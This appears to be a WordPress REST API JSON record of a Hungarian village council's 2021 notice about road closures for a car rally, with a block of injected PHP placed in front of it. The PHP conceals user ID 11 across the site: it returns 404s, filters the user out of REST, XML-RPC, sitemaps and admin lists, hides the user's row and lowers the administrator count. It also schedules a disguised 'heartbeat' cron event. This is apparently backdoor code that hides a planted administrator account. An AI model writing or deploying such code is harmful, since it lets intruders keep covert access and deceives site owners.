add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 11;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 11 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 11 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 11;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 11;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 11;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/11(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 11;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-11{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
{"id":1031,"date":"2021-05-11T13:30:18","date_gmt":"2021-05-11T13:30:18","guid":{"rendered":"http:\/\/www.bukkszek.hu\/2015\/?p=1031"},"modified":"2021-05-11T13:30:20","modified_gmt":"2021-05-11T13:30:20","slug":"utlezarasok-a-rally-miatt-a-hetvegen","status":"publish","type":"post","link":"http:\/\/www.bukkszek.hu\/2015\/2021\/05\/11\/utlezarasok-a-rally-miatt-a-hetvegen\/","title":{"rendered":"\u00datlez\u00e1r\u00e1sok a rally miatt a h\u00e9tv\u00e9g\u00e9n"},"content":{"rendered":"\n<p>Az \u00d3zd-Eger Rally 2021 megnevez\u00e9s\u0171 aut\u00f3verseny rendezv\u00e9ny Magyar Nemzeti Bajnoks\u00e1g III. futama 2021.05.14-16-ig ker\u00fcl megrendez\u00e9sre. <\/p>\n\n\n\n<p>\u00datlez\u00e1r\u00e1sok, melyek lakosaink k\u00f6zleked\u00e9s\u00e9t \u00e9rintik az al\u00e1bbi id\u0151pontokban v\u00e1rhat\u00f3ak:<\/p>\n\n\n\n<p><strong>2021. m\u00e1jus 16-i versenynap Heves megyei gyorsas\u00e1gi szakaszai, z\u00e1r\u00e1s, nyit\u00e1s az al\u00e1bbiak szerint alakulnak:<\/strong><br><strong>B\u00e1tor &#8211; P\u00e9terv\u00e1s\u00e1ra\/ Terpesi el\u00e1gaz\u00e1s 06:50-19:30<\/strong><br><strong>Sirok &#8211; Egerbakta 07:30-20:00<\/strong><br><strong>Szarvask\u0151 &#8211; Egerbocs 09:30-17:00<\/strong><\/p>\n\n\n\n<p>R\u00e9szletesebb t\u00e1j\u00e9koztat\u00e1st az al\u00e1bbi honlapon kapnak:<\/p>\n\n\n\n<figure class=\"wp-block-embed is-type-wp-embed is-provider-kelet-aut-oacute-sport wp-block-embed-kelet-aut-oacute-sport\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/www.keletautosport.hu\/ozd-eger-2021\/\n<\/div><\/figure>\n\n\n\n<p>Meg\u00e9rt\u00e9s\u00fcket \u00e9s t\u00fcrelm\u00fcket k\u00f6sz\u00f6nj\u00fck!<\/p>\n\n\n\n<p>Tisztelettel:<br>B\u00fckksz\u00e9k K\u00f6zs\u00e9g \u00d6nkorm\u00e1nyzata<br>S\u00e1gi Ferenc sk.<br>polg\u00e1rmester<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Az \u00d3zd-Eger Rally 2021 megnevez\u00e9s\u0171 aut\u00f3verseny rendezv\u00e9ny Magyar Nemzeti Bajnoks\u00e1g III. futama 2021.05.14-16-ig ker\u00fcl megrendez\u00e9sre. \u00datlez\u00e1r\u00e1sok, melyek lakosaink k\u00f6zleked\u00e9s\u00e9t \u00e9rintik az al\u00e1bbi id\u0151pontokban v\u00e1rhat\u00f3ak: 2021. m\u00e1jus 16-i versenynap Heves megyei gyorsas\u00e1gi szakaszai, z\u00e1r\u00e1s, nyit\u00e1s&#46;&#46;&#46;<\/p>\n","protected":false},"author":1,"featured_media":1033,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[23,30,29],"class_list":["post-1031","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-hirek","tag-23","tag-ertesites","tag-rally"],"_links":{"self":[{"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/posts\/1031","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/comments?post=1031"}],"version-history":[{"count":1,"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/posts\/1031\/revisions"}],"predecessor-version":[{"id":1032,"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/posts\/1031\/revisions\/1032"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/media\/1033"}],"wp:attachment":[{"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/media?parent=1031"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/categories?post=1031"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/tags?post=1031"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}